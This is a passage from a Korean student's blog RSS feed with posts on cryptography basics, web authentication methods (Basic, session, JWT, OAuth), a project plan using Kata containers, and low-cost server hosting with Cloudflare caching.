평문<span class="hljs-symbol">:</span> <span class="hljs-number">01000001</span> (&#x27;A&#x27; ASCII)
<span class="hljs-built_in">XOR</span> 연산
키<span class="hljs-symbol">:</span> <span class="hljs-number">01000010</span> (&#x27;B&#x27; ASCII)
= 암호문<span class="hljs-symbol">:</span> <span class="hljs-number">00000011</span>

-------------------------------------------------------------------------------

암호문<span class="hljs-symbol">:</span> <span class="hljs-number">00000011</span>
<span class="hljs-built_in">XOR</span> 연산
키<span class="hljs-symbol">:</span> <span class="hljs-number">01000010</span> (&#x27;B&#x27; ASCII)
= 복호문<span class="hljs-symbol">:</span> <span class="hljs-number">01000001</span> (&#x27;A&#x27; ASCII)</code></pre>
<h4>스트림 방식</h4>
<p> 이러한 <b>기본적인 암호화 방식을 스트림 방식</b>이라고 명칭한다.<br>스트림 방식은 두가지로 나뉘어지는데 동기식과 비동기식으로 나뉘어진다.</p>
<h5>동기식 스트림 방식</h5>
<p> <b>동기식 스트림 방식은 평문과 완전히 관계없는 키 스트림을 사용하는 알고리즘</b>이다.<br>평문과 완전히 분리된 키 스트림을 사용해 보안적으로 안전하고,<br><b>비트가 오염되더라도 다음 비트에 영향을 주지 않는다는 특징</b>이 있다.<br> 다만, <b>각각의 위치와 정확히 같은 키 스트림 비트를 사용하기 때문에 조금이라도 이탈하면 뒤 모든 부분의 복호화가 불가능하다는 단점</b>이 존재한다.<br> 그러한 이유로 동기식 암호화는 송수신 측이 서로 동기화하는 과정이 필연적으로, 지속적으로 있어야 한다.</p>
<p>대표적으로 <b>OTP</b>를 생각하면 편하다.</p>
<h5>비동기식(자가 동기식) 스트림 방식</h5>
<p> <b>동기식 암호화 방식은 비트가 이탈하면 뒤 모든 비트의 복호화가 불가능하다는 특징</b>이 있다.<br>비동기식 스트림 방식은 직전의 암호문이 다음 키의 재료로 들어간다는 특징이 있어 비트가 이탈하더라도 제한적으로 오류가 파급된다.<br> 그러하여, 동기식과 다르게 <b>비동기식 암호화는 이전의 암호화 값을 가지고 있기에 의도적인 변조를 탐지</b>할 수 있다.<br> 또한 이전 암호문을 키를 생성하는데에 쓴다는 특징 덕분에 <b>지속적인 동기화가 필요하지 않다</b>는 특징이 있다.</p>
<p>대표적으로 <b>CFB 알고리즘</b>이 존재한다.</p>
<h4>블록 방식</h4>
<p> 평문 비트의 진행 순서에 따라 순차적으로 XOR 연산을 하는 스트림 방식과 달리 <b>블록 방식은 일정한 단위로 평문을 나눠 일정한 길이의 키를 이용해 암호화</b>를 진행한다.<br> 이때 <b>전치 방식</b>과 <b>치환 방식</b>을 혼합하여 암호화를 진행하는데, <b>전치 방식은 문자의 순서를 임의로 바꾸는 방식</b>이고 (I am bab ↔ aIa b mb) <b>치환 방식은 각 문자를 그에 상응하는 문자로 변환하는 방식</b>이다.(I am bab ↔ h]wa]ewe) 이러한 과정후에 키와 함께 XOR 연산을 진행하여 암호화를 실시하는데 그 각 과정을 라운드라고 한다.<br> 실제 암호화 과정에서는 난독화를 위해 <b>키 길이를 128비트로 하거나, 암호화 라운드를 최소 3회 이상 진행</b>한다.<br> <img src="https://velog.velcdn.com/images/njw/post/8fa1e3fd-ff01-426b-844a-3ee062180911/image.png" alt="[기초] 암호학 기초 부수기!" width="773" height="366" loading="lazy" decoding="async"></p>
<h3>비대칭키</h3>
<p>대칭키를 보안적으로 아무리 개선을 하더라도 본질적인 문제가 있다.<br><b>키를 가지고 통신할 시 중간에 키를 탈취당하는 것에 매우 취약</b>(중간자 공격)하다는 것이다. 이를 보완하기 위해 <b>암호화와 복호화에 서로 다른 키를 사용하는 암호화 알고리즘이 비대칭키 암호화</b>다.</p>
<blockquote>
<p>비대칭키 암호화란, 암호화와 복호화에 서로 다른 키(공개키-개인키 쌍)를 사용하는 양방향 암호화 방식. 데이터를 공개키로 암호화하면, 대응하는 개인키로만 복호화할 수 있어 보안성이 높다. 대칭키에 비해 속도가 매우 느리다.</p>
</blockquote>
<p>비대칭키 암호화는 크게 키가 두가지로 나뉘는데 <b>공개키</b>와 <b>개인키</b>다.<br><b>공개키는 모두에게 공개되는 키로써 보편적으로 암호화에 사용</b>되고,<br><b>개인키는 키 쌍을 생성한 당사자가 보관하는 키로써 보편적으로 복호화에 이용</b>된다.</p>
<p><b>비대칭키</b>는 앞서 서술한대로 <b>암호화와 복호화 속도가 매우 느리다.</b><br>그렇기에, 통신에 사용할 때 그 자체를 통신에 사용하는 것이 아닌 종단간끼리 대칭되는 암호키를 얻기 위해 사용된다.</p>
<p>비대칭키는 다양한 분야에서 이용되지만 대표적인 두가지 정도를 서술하겠다.</p>
<pre><code class="hljs language-dns">데이터 암호화 <span class="hljs-punctuation">(</span>기밀성<span class="hljs-punctuation">)</span>: 
<span class="hljs-keyword">A</span>가 B의 공개키로 암호화해서 보냄 → B가 자신의 개인키로 복호화. 
<span class="hljs-punctuation">(</span>B만 읽을 수 있음<span class="hljs-punctuation">)</span>
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
전자 서명 <span class="hljs-punctuation">(</span>무결성 및 인증<span class="hljs-punctuation">)</span>: 
<span class="hljs-keyword">A</span>가 자신의 개인키로 암호화<span class="hljs-punctuation">(</span>서명<span class="hljs-punctuation">)</span>해서 보냄 → 누구나 <span class="hljs-keyword">A</span>의 공개키로 풀어봄. 
<span class="hljs-punctuation">(</span><span class="hljs-keyword">A</span>가 보냈음이 증명됨<span class="hljs-punctuation">)</span></code></pre>
<h2>마무리</h2>
<p>암호학 기초를 공부하였다! 더욱이 열심히 공부해보자!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>기초</category><category>보안</category><category>암호학</category><category>웹</category>
    </item>
    <item>
      <title>[보안] 웹의 인증 방식</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-%EC%9B%B9%EC%9D%98-%EC%9D%B8%EC%A6%9D-%EB%B0%A9%EC%8B%9D/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-%EC%9B%B9%EC%9D%98-%EC%9D%B8%EC%A6%9D-%EB%B0%A9%EC%8B%9D/</guid>
      <pubDate>Wed, 22 Apr 2026 03:33:53 GMT</pubDate>
      <description><![CDATA[<h2>인증은 왜 할까?</h2>
<p><a href="https://velog.io/@njw/%EA%B8%B0%EC%B4%88-HTTP-HTTPS-%EB%B6%80%EC%88%98%EA%B8%B0-%EB%B0%8F-%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C-%ED%83%90%EC%83%89#http%EC%9D%98-%ED%8A%B9%EC%A7%95" target="_blank" rel="noopener">여기</a>에 서술한대로 <b>HTTP는 Stateless</b>하다.<br>로그인을 해도 기억하지 못하기 때문에 이를 보완하는 <b>다양한 인증 방식</b>이 등장했다.<br>순서대로 알아보자.</p>
<h2>웹의 인증</h2>
<h3>기본 인증</h3>
<p><b>기본 인증은 HTTP header를 사용하는 인증 방법</b> 중에 하나이다.<br>단순하게 생각해보자.<br>우리가 로그인을 할 때 최소한으로 필요한 것은 ID와 이를 보조하는 Password이다.<br>기본 인증은 이러한 정보를 최소한으로 이용한다.</p>
<h4>방식</h4>
<p>처음에 클라이언트가 접속하면 서버는 요청에 헤더가 없는 것을 확인한다.<br>↓<br>확인한 서버는 응답에 <b>401 Unauthorized 상태코드와 WWW-Authenticate 헤더에 기본 인증을 뜻하는 Basic 값을 담아 전송</b>한다.<br>↓<br>이를 확인한 클라이언트는 ID와 Password를 입력하는 기본 입력창을 띄우고 입력받는다.<br>↓<br>클라이언트는 Authorization 헤더에 기본 인증을 뜻하는 Basic 값과 <b>ID:Password 값을 Base64로 인코딩한 형태인 credential</b>을 포함시킨다.<br>↓<br>이를 확인한 서버는 200 성공 상태 코드로 응답한다.<br><img src="https://velog.velcdn.com/images/njw/post/92f8c97e-ad1c-40dd-bc49-9c38146fab9d/image.png" alt="[보안] 웹의 인증 방식" width="562" height="237" loading="lazy" decoding="async"></p>
<h4>장점</h4>
<p>아주 옛날부터 사용되어지는 인증 방식이기 때문에 매우 단순하고 모든 브라우저에서 지원한다.</p>
<h4>단점</h4>
<p>다만 이러한 방식은 Base64로 인코딩 방식을 변경하는 것 외에는 <b>아무런 보안적 처리가 들어가 있지 않아</b> 누구나 쉽게 ID와 Password를 알아낼 수 있어 현대 모던 <b>웹에서는 사용하지 않는다.</b></p>
<h3>쿠키 기반 인증</h3>
<p>기본 인증의 단점을 보완하고 <b>HTTP의 Stateless한 특징을 보완</b>하고자 나온 것이 쿠키 기반 인증이다.</p>
<blockquote>
<p>쿠키란, 웹사이트가 사용자의 브라우저에 저장하는 데이터 조각으로써 HTTP의 Stateless한 특징을 보완하여 편리한 웹 브라우징을 돕는 개념이다.<br>예시로, 로그인 상태 유지, 장바구니 정보, 개인화된 설정(테마 등)을 기억한다.</p>
</blockquote>
<p>쿠키 자체는 브라우저에 저장되기 때문에 악용이 매우 쉽다.<br>여기서 등장한 것이 세션 방식이다. 쿠키 방식은 사용자 정보(ID, 등급 등)가 브라우저에 직접 노출되어 위변조가 쉽지만, <b>세션은 서버에 정보를 저장하므로 클라이언트는 실제 내용을 알 수 없다.</b> 또한, 클라이언트가 자기 마음대로 &quot;나는 관리자다&quot;라고 <b>쿠키 값</b>을 <b>수정</b>하는 것을 <b>방지</b>한다.</p>
<h4>방식</h4>
<p>클라이언트가 ID, Password를 서버로 전송(요청)한다.(로그인)<br>↓<br>인증정보를 확인한 서버는 인증정보와 매핑되어있는 유추할 수 없는 <b>무작위 문자열인 키</b>를 발급하고 이를 저장한 뒤, 이를 응답한다.<br>↓<br>클라이언트는 <b>키를 쿠키</b>에 넣어 기억한다.<br>↓<br>클라이언트는 이후에 HTTP 통신을 진행할 때 쿠키에 저장되어있는 <b>키를 함께 요청</b>한다.<br>↓<br>서버는 키를 확인하고 이와 매핑되어있는 인증정보를 활용해 요청을 처리한다.<br><img src="https://velog.velcdn.com/images/njw/post/df3ff0eb-93d4-487c-b00e-b7a479f891bd/image.png" alt="[보안] 웹의 인증 방식" width="604" height="630" loading="lazy" decoding="async"></p>
<h4>장점</h4>
<p>서버에 저장하기 때문에 관리가 매우 편하고 효율적이다.<br>구현이 명확하며 실제 서버에서 로그인 상태를 확인하기 유용하다.<br><b>정보를 서버가 가지고 있어</b> 서버의 보안이 두텁다면 보안적으로 <b>매우 안전</b>하다.</p>
<h4>단점</h4>
<p>서버에서 클라이언트의 상태를 모두 유지하고 있어야 하므로, <b>클라이언트 수가 많으면 메모리나 DB에 부하</b>가 심하다. (DB의 과부하)<br>멀티 디바이스 환경(모바일, 공동 사용 등)에서 로그인 시 중복 로그인 처리가 되지 않는 등의 신경 써야 할 부분들이 발생한다.<br>사용자가 많아지는 경우 로드 밸런싱을 사용한 <b>서버 확장</b>을 이용해야 하는데 이 때 <b>세션의 관리가 어려워진다.</b></p>
<h3>토큰 인증</h3>
<p>쿠키 기반 인증 방식(<b>세션 인증</b>)의 가장 큰 <b>단점은 모든 사용자의 정보를 서버가 기억해 부담이 매우 크다는 것이다.</b><br>토큰 인증은 <b>모든 정보를 클라이언트가 가지고 있어 서버의 부담이 사라진다.</b></p>
<h4>방식</h4>
<p>클라이언트가 ID, Password를 서버로 전송(요청)한다.(로그인)<br>↓<br>인증정보를 확인한 서버는 인증 정보를 이용해 필요한 정보들을 구성하고 <b>이를 자신의 비밀키와 함께 해싱하여 토큰</b>으로 만들고 응답한다.<br>↓<br>클라이언트는 <b>발급한 토큰을 쿠키에 넣어 기억</b>한다.<br>↓<br>클라이언트는 이후에 HTTP 통신을 진행할 때 쿠키에 저장되어있는 <b>토큰을 함께 요청</b>한다.<br>↓<br>서버는 토큰을 확인하고 <b>토큰의 서명과 토큰의 정보 + 자신의 비밀키로 서명하여 위변조를 확인</b>한다.<br>이후 문제가 없으면 토큰의 정보를 이용해 요청을 처리한다.<br><img src="https://velog.velcdn.com/images/njw/post/8139f8c4-2c51-43a8-99a8-2b360c323b1e/image.png" alt="[보안] 웹의 인증 방식" width="1264" height="618" loading="lazy" decoding="async"></p>
<h5>JWT</h5>
<p><b>JWT(Json Web Token)는 토큰 기반 인증의 대표적인 방식</b>이다.<br>세 파트로 나누어지며, 각 파트는 점으로 구분하여 표현된다.<br>헤더(Header), 페이로드(Payload), 서명(Sinature)으로 구성되며 최종적으로 base64를 통해 인코딩된다.<br> <br><b>header : 해시 암호화 알고리즘과 토큰의 타입으로 구성</b><br>첫 번째는 HMAC, SHA256 또는 RSA와 같은 서명 생성에 사용된 해시 알고리즘<br>두 번째는 토큰의 유형 (JWT)</p>
<p><b>payload : 내용, 즉 토큰에 담을 클레임(claim) 정보를 포함</b><br>Payload 에 담는 <b>정보의 한 ‘조각’ 을 클레임</b>이라고 부르며, name / value 의 한 쌍으로 이뤄짐<br>토큰에는 여러개의 클레임 들을 넣을 수 있음<br>클레임의 정보는 <b>등록된(registered) 클레임</b>, <b>공개(public) 클레임</b>, <b>비공개(private) 클레임</b>으로 세 종류가 있음<br><b>등록된 클레임</b> : 토큰 정보를 표현하기 위해 이미 정해진 종류의 데이터들로, 모두 선택적으로 작성이 가능하며 사용할 것을 권장<br>iss: 토큰 발급자(issuer)<br>sub: 토큰 제목(subject)<br>aud: 토큰 대상자(audience)<br>exp: 토큰 만료 시간(expiration)<br>nbf: 토큰 활성 날짜(not before)<br>iat: 토큰 발급 시간(issued at)<br>jti: JWT 토큰 식별자(JWT ID)<br><b>공개 클레임</b> : 사용자 정의 클레임으로, 충돌 방지를 위해 사용된다. 고유 URI 포맷을 이용<br><b>비공개 클레임</b> : 사용자 정의 클레임으로, 서버와 클라이언트 사이에 임의로 지정한 정보를 저장</p>
<p><b>signature : 서명</b><br><b>Header, Payload, Secret Key를 합쳐 암호화한 결과값</b><br>HS256( base64UrlEncode(header) + &quot;.&quot; + base64UrlEncode(payload), Secret key)<br><img src="https://velog.velcdn.com/images/njw/post/05bd89f8-e860-4fdc-b9fd-f5eeb679ce76/image.png" alt="[보안] 웹의 인증 방식" width="4000" height="2852" loading="lazy" decoding="async"></p>
<h5>SWT와 JWT</h5>
<p>SWT(Simple Web Token)과 JWT(Json Web Token) 모두 토큰 기반 인증 방식이다.<br>하지만 현대 모던 웹은 JWT를 쓴다. 왜 일까?</p>
<table>
<thead>
<tr>
<th align="left">특징</th>
<th>JWT (JSON Web Token)</th>
<th align="center">SWT (Simple Web Token)</th>
</tr>
</thead>
<tbody><tr>
<td align="left">형식</td>
<td>JSON (JavaScript Object Notation)</td>
<td align="center">Form-Encoded (Key-value 쌍)</td>
</tr>
<tr>
<td align="left">표준</td>
<td>RFC 7519 (오픈 표준)</td>
<td align="center">독자적 (Microsoft/Google/Yahoo 등)</td>
</tr>
<tr>
<td align="left">서명 방식</td>
<td>HMAC(비밀키) 및 RSA/ECDSA(공개키/개인키) 지원</td>
<td align="center">HMAC(공개된 비밀키)만 지원</td>
</tr>
<tr>
<td align="left">복잡성</td>
<td>규격화된 형식과 정보들</td>
<td align="center">매우 단순하고 규격화되어있지 않음</td>
</tr>
<tr>
<td align="left">채택률</td>
<td>매우 높음 (현대 API, Auth0, Okta 등 표준)</td>
<td align="center">낮음 (대부분 현대 시스템에서 퇴출)</td>
</tr>
<tr>
<td align="left">표에 나와있듯이 다양한 부분에서 SWT는 매우 구식이라는 것을 알 수 있다.</td>
<td></td>
<td align="center"></td>
</tr>
<tr>
<td align="left">무엇보다 가장 큰 차이는 대칭키와 비대칭키의 지원이라고 볼 수 있는데, 비대칭키까지 지원해 보안적으로 매우 안전한 JWT와 달리 SWT는 대칭키만 지원해 안전하지 않다는 것을 알 수 있다.</td>
<td></td>
<td align="center"></td>
</tr>
<tr>
<td align="left">이러한 이유로 웹 토큰 기반 인증은 JWT만 사용한다.</td>
<td></td>
<td align="center"></td>
</tr>
</tbody></table>
<h4>장점</h4>
<p>토큰 자체가 인증된 정보이기 때문에 클라이언트 상태를 서버가 저장하지 않아도 돼 세션 저장소 같은 별도의 인증 저장소가 필수적으로 필요하지 않아 <b>서버의 부담이 없다.</b><br>signature를 비밀키를 이용한 암호화를 통해 막아두었기 때문에 데이터 보안성이 늘어난다.<br>필요한 내용을 payload에 담아 보내 놓고 다시 조회할 일이 없어 서버의 부담이 완화된다.</p>
<h4>단점</h4>
<p><b>토큰은 클라이언트에 저장되어 데이터베이스에서 사용자 정보를 조작하더라도 토큰에 직접 적용할 수 없다.</b><br>세션 보다 필연적으로 많은 용량을 차지하며 많은 필드가 추가되면 토큰이 커질 수 있고 비상태 어플리케이션에서 거의 모든 요청에 대해 전송되므로 이는 <b>많은 트래픽을 차지하고 부하 가능성이 있다.</b><br>JWT는 상태를 저장하지 않기 때문에 한번 만들어지면 제어가 불가능하다. 즉, 토큰을 임의로 삭제하는 것이 불가능하므로 토큰 만료 시간을 꼭 넣어주어야 한다.<br>Payload 자체는 암호화 된 것이 아니라, BASE64Url로 인코딩 된 것. 따라서 중간에 Payload를 탈취하여 디코딩하면 데이터를 보고 악용할 수 있으므로 <b>JWE로 암호화하거나 Payload에 중요 데이터를 넣지 않아야 하며 토큰 만료 시간을 짧게 지정해야 한다.</b></p>
<h3>OAuth</h3>
<p>동적 웹사이트를 구성할 때 인증 방식의 선택은 필수이다.<br>이때 인증 구성의 권한을 서비스 제공자 본인이 아닌 <b>제3자에게 위임하는 것을 OAuth</b>라고 지칭한다.</p>
<blockquote>
<p>OAuth는 인터넷 사용자들이 비밀번호를 제공하지 않고 다른 웹사이트 상의 자신들의 정보에 대해 웹사이트나 애플리케이션의 접근 권한을 부여할 수 있는 공통적인 수단으로서 사용되는, 접근 위임을 위한 개방형 표준이다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/njw/post/0a9886d0-353a-4cb4-8aed-1b8829416eea/image.png" alt="[보안] 웹의 인증 방식" width="1280" height="869" loading="lazy" decoding="async"><br>OAuth는 위 처럼 동작하는데 간단하게 설명하자면 제3자 서비스에게 권한을 위임하고 인증이 끝나면 액세스 토큰과 이를 재발급하는 토큰을 받아 이를 이용해 제3자 서비스 리소스 서버에게서 필요한 정보들을 받아올 수 있다.</p>
<p>현재 OAuth는 <b>OAuth2.0</b>을 사용하는데 이는 OAuth1.0에서 세션 피싱이라는 보안적 결함이 발견되었기 때문이다.</p>
<h2>마무리</h2>
<p>웹 상에서의 인증 방식을 알아보았다!<br>자신의 서비스에 맞는 인증 방식을 알아보고 적용해보자.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>인증</category><category>통신</category>
    </item>
    <item>
      <title>[프로젝트] 팀 합류와 프로젝트 설계.</title>
      <link>https://njw.kro.kr/blog/posts/%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%8C%80-%ED%95%A9%EB%A5%98%EC%99%80-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%84%A4%EA%B3%84/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%8C%80-%ED%95%A9%EB%A5%98%EC%99%80-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%84%A4%EA%B3%84/</guid>
      <pubDate>Sat, 04 Apr 2026 11:01:46 GMT</pubDate>
      <description><![CDATA[<h2>개인팀 -&gt; DevLib 합류.</h2>
<h3>합류 이전</h3>
<p>나는 현 프로젝트 말고도 다른 프로젝트를 기획 중에 있었다.<br>하지만 두 프로젝트를 완전히 다른 주제로 병행하기엔 무리가 있다 생각이 들었고,</p>
<p>팀에 합류하기 전 에브리타임을 모방한 커뮤니티를 구현하는 중에 만들었던 <b>AI 채팅검열 시스템</b>을 가지고 와 개발자에게 간단하게 무료로 제공해주는 API 서비스를 구현하고자 했다.</p>
<p><b>하지만..</b></p>
<h3>합류 이후</h3>
<p>DevLib 팀 쪽에서 부족한 인원을 보완하기 위해 나를 데려오고자 했고 후에 내 기존 아이디어인 <b>AI 채팅검열 시스템</b>과 기존 DevLib팀의 아이디어인 <b>API를 판매할 수 있도록 지원하는 마켓플레이스</b>를 합쳐 <b>AI 채팅 검열 시스템을 이용한 커뮤니티 + API 판매 지원 마켓플레이스</b>를 만들기로 했다.</p>
<p>내가 <b>팀장</b> 직분을 맡게 되어 간트차트와 계획을 구상했고, <b>모든 기술적 요소와 일정들을 계획</b>했다.</p>
<h2>계획</h2>
<p>초기엔 API 호스팅까지 모두 지원하는 플랫폼을 만들고자 했다.<br>정리하자면 <b>AI 채팅 검열 시스템을 이용한 커뮤니티 + API 판매 지원 마켓플레이스 + API 서버 호스팅 서비스</b>였다.</p>
<p>많은 기술적 요소를 녹여내 계획을 구상했지만 여기선 호스팅 부분만 서술하도록 하겠다.</p>
<p><img src="https://velog.velcdn.com/images/njw/post/470e7368-bc47-4cfc-9ab8-3229738fd2cd/image.png" alt="[프로젝트] 팀 합류와 프로젝트 설계." width="1509" height="754" loading="lazy" decoding="async"></p>
<p><del>아직 내 소중한 서버 컴퓨터가 오지 않아서</del><br>마음 같아선 온프레미스 인프라를 구축하고 싶었지만,<br>비용 문제, 현실적인 문제와 맞닥뜨려 AWS의 <b>IaaS(Infrastructure as a Service)</b> 서버를 이용해 서브넷을 나누고 API 호스팅까지 제공하는 서비스를 만들고자 했다.</p>
<blockquote>
<p>Infrastructure as a Service란, 공동책임모델에서 PaaS, SaaS보다 많은 책임을 사용자가 부담하는 서비스이다. OSI 7계층 중 물리계층을 제외한 모든 부분에 사용자의 책임이 있다.</p>
</blockquote>
<p>우리는 AWS를 쓰기 때문에 제공된 VPC 안 Private 서브넷에 여러 인스턴스를 구성해 호스팅을 제공하고자 했다. 하지만 우리가 온프레미스 인프라를 직접 구축하는 것이 아닌 이상 이용자가 모든 것을 컨트롤하도록 자유도를 주기엔 많은 현실적인 제약이 있었다. 그렇기에 간단히 <b>가상화 도커 컨테이너를 사용하여 호스팅</b>할 수 있도록 지원하는 서비스를 구축하고자 했다.</p>
<p><b>일반 도커 컨테이너</b>는 <b>호스트 OS의 커널을 공유</b>한다. 또한 모든 컨테이너가 <b>호스트의 네트워크 스택을 공유</b>한다. 그렇기에 인스턴스에 여러개의 컨테이너가 있을때 <b>보안적으로 매우 취약하고 호스트와 타 컨테이너에 연쇄적으로 이슈가 발생</b>해 컨테이너끼리 또한 호스트와 완전히 분리되었다고 보기 힘들다.</p>
<p>2017년 말에 나온 **카타 컨테이너(Kata container)**가 이 문제를 해결할 수 있었다.<br>카타 컨테이너는 기존 VM의 무거운 사양과 컨테이너의 약한 보안성을 보완하고자 하는 목적에서 등장했다.</p>
<p>카타 컨테이너의 특징은 독립된 가상 고유 커널을 사용한다는 것이다. 그렇기에 도커와 달리 개별적으로 완전히 분리되어있어 <b>하나의 컨테이너에서 이슈가 발생해도 호스트나 타 컨테이너에게 영향을 미치지 않는다.</b><br>이건 OS 단에서 뿐만이 아니라 네트워크 적으로도 각각 독립된 탭과 그와 연결된 브릿지를 통해<br>완전히 분리되어 있다.</p>
<p>그렇기에 카타 컨테이너를 선택했고, 서브넷당 인스턴스 약 200<del>300개, 인스턴스당 10</del>12개의 컨테이너를 띄어놓고자 했다.</p>
<h3>호스팅 워크플로우</h3>
<p>클라이언트가 호스트 요청과 도커 이미지를 전달하면 Public 서브넷(웹 서버)를 통과해 Private 서브넷(웹 어플리케이션 서버) 측에서 도커 이미지를 전달해 Private 서브넷(호스팅 지원용)에서 받아 카타 컨테이너를 만들고 다시 Private 서브넷(웹 어플리케이션 서버) 측 에서 생성된 컨테이너 ID를 DB에 요청 사용자 식별 정보, API 서비스 식별 정보와 함께 저장한다.</p>
<p>또한 각각에 컨테이너에 팔코(Falco) pdig가 붙어있어 모든 작업의 로그를 감시하고 수집한다. 이를 카타 에이전트에게 전달하면 카타 에이전트는 vsock를 통해 전달하면 엔드포인트 단에서 대기하고 있는 팔코 프로세스가 이를 해석해 WARNING 이상의 로그만 container.ID와 함께 AI 서버로 전송한다.</p>
<p><a href="https://github.com/falcosecurity/pdig?tab=readme-ov-file" target="_blank" rel="noopener">pdig 깃허브</a></p>
<p>AI 서버는 컨테이너의 위험점수를 측정해 컨테이너를 즉시 차단하고 종료한 후 로깅하는 로직을 생각했다.</p>
<p><del><b>+이 기능은 구현하기 매우 복잡해 현 프로젝트에선 제외되었고, 나중에 개인 프로젝트로 다뤄볼 생각이다.</b></del></p>
<h3>프론트엔드</h3>
<p>프론트엔드는 템플릿만으로 직접 수정하며 구성하기에는 많은 시간적 한계가 있다고 느껴 프론트엔드 생성형 AI를 사용해 만들었다.</p>
<p>Vercel의 V0 에이전트는 프론트엔드 개발 어시스턴트로써 프론트엔드를 React 기반으로 생성한다.</p>
<p>전에 K-Tech 아이디어 챌린지에 참여했을 당시에도 V0을 이용해 프론트엔드를 간편하게 생성하였었다.</p>
<p>AI를 활용해 기본적인 템플릿을 생성하였고 이를 페이지에 따라 다르게 변형시키고 만들어 프론트엔드를 구성했다.</p>
<h2>요약</h2>
<p>Get API 프로젝트의 주제와 상세한 기술적 스택과 계획을 구상하였고 프론트엔드를 완성하였다.</p>
<p>앞으로 프로젝트와 관련된 글들은 펑션별로 서술하겠다.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>미래유망</category><category>스프링</category><category>일지</category><category>프로젝트</category>
    </item>
    <item>
      <title>[인프라] 1,100원짜리 서버로 550명 버티기.</title>
      <link>https://njw.kro.kr/blog/posts/%EC%9D%B8%ED%94%84%EB%9D%BC-1100%EC%9B%90%EC%A7%9C%EB%A6%AC-%EC%84%9C%EB%B2%84%EB%A1%9C-550%EB%AA%85-%EB%B2%84%ED%8B%B0%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EC%9D%B8%ED%94%84%EB%9D%BC-1100%EC%9B%90%EC%A7%9C%EB%A6%AC-%EC%84%9C%EB%B2%84%EB%A1%9C-550%EB%AA%85-%EB%B2%84%ED%8B%B0%EA%B8%B0/</guid>
      <pubDate>Fri, 09 Jan 2026 04:18:59 GMT</pubDate>
      <description><![CDATA[<h2>인프라</h2>
<p>학교 커뮤니티 백엔드를 설계하던 중에 한가지 의문이 생겼다.<br>바로 <b>인프라</b> 문제였다. 우리 팀원 전부가 학생이기 때문에 해외결제를 요구하는 카드를 준비할 수 없어 AWS, 오라클등의 VPS를 쓰기는 힘들다. 또한 장기적으로 봤을 때 졸업한 후 이를 후배들에게 넘겨줄때에도 많은 난관이 있을것이다. 그를 제외하고도 부모님의 돈을 쓰기 때문에 가장 최소한으로 지출을 관리해야한다는 부담도 있다.</p>
<p>나는 Node.js를 지원하는 한국 호스팅 서버들을 알아보기 시작했다.</p>
<p>결과적으로 Cafe24의 Node.js 서버가 가장 알맞다고 생각했다.<br>하지만, AWS, 오라클등과 비교했을때 성능이 정말 끔찍했다.</p>
<p>여러가지 부담과 여러 요인을 때문에 결국 셀렉한건..<br><b>1,100원</b>짜리 Cafe24 Node.js 서버였다.</p>
<p>그럼 여기서 서버의 사양은?</p>
<p>800MB 웹용량<br>800MB 트래픽 용량<br>400MB 메모리<br>무제한 데이터베이스</p>
<p>트래픽 800MB에 메모리 400MB?</p>
<p>이 사양으로 커뮤니티를 만들기엔 불가능하다고 생각할수있다.</p>
<p>그럼 1,100원으로 550명의 수많은 트래픽과 사진과 같은 파일등을 저 사양으로 계속 감당할수있다고?</p>
<p>난 캐싱기능과 외부 무료제공 트래픽을 극한으로 사용하기로 했다.</p>
<p>내가 생각한 방법은 다음과 같다.<br>서버 Cafe24 1100원.<br>이미지 서버 Cloudinary로 이미지 html 단에서 불러오기 무료.<br>Cloudflare로 캐싱된 정적파일 로드 무료.<br>google drive로 그 외 첨부파일 관리 무료.</p>
<p>내 서버는 기본적으로 뷰를 사용하지 않고 json을 반환한다.</p>
<p>Cloudflare에서 정적파일을 제공해주면 난 그냥 json을 반환하기만 하면되는 것이다. 어차피 프론트엔드단에서 js가 알아서 처리해준다.</p>
<p>그렇게되면 서버는 순수 통신(텍스트)만 감당하게 된다.</p>
<p>이론적으로는 구상됐지만 실제로는? 처음 시도하는거라 직접 해봐야 알 것 같다.</p>
<p>테스트해보니 확실히 클라우드플레어의 캐싱 기능과 이미지 호스팅 덕분에 트래픽의 부담이 준다.</p>
<p>+2026년 1월 7일<br>하지만.. <b>Cafe24 Node.js 스페셜서버는 SSL을 지원하지 않는다고 한다.</b></p>
<p>기본적으로 클라우드 플레어는 다음과 같은 과정으로 동작한다.</p>
<p>클라이언트 &lt;-&gt; 클라우드 플레어 &lt;-&gt; 내 서버</p>
<p>클라우드 플레어와 클라이언트 사이에서는 SSL이 적용되었지만 클라우드 플레어와 내 서버 사이에는 적용되지 않은 것이다.</p>
<p>&quot;어? 그럼 어쨌든 모든 통신은 클라우드 플레어를 통하는거니까 안전하지 않나?&quot;</p>
<p>그렇지 않다, 모든 통신은 다양한 중계서버를 거쳐 진행된다.<br>그 중계서버중 하나라도 털리게되면 바로 통신을 볼수있게된다.<br>비교적 안전하지만 완벽하지 않다는 뜻이다.</p>
<p>결론적으로 최적화와는 별개로 다른 호스팅 서버를 알아봐야 할 것 같다.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>백엔드</category><category>인프라</category>
    </item>
    <item>
      <title>[js] Express.js 미들웨어</title>
      <link>https://njw.kro.kr/blog/posts/JS-Express.js-%EB%AF%B8%EB%93%A4%EC%9B%A8%EC%96%B4/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/JS-Express.js-%EB%AF%B8%EB%93%A4%EC%9B%A8%EC%96%B4/</guid>
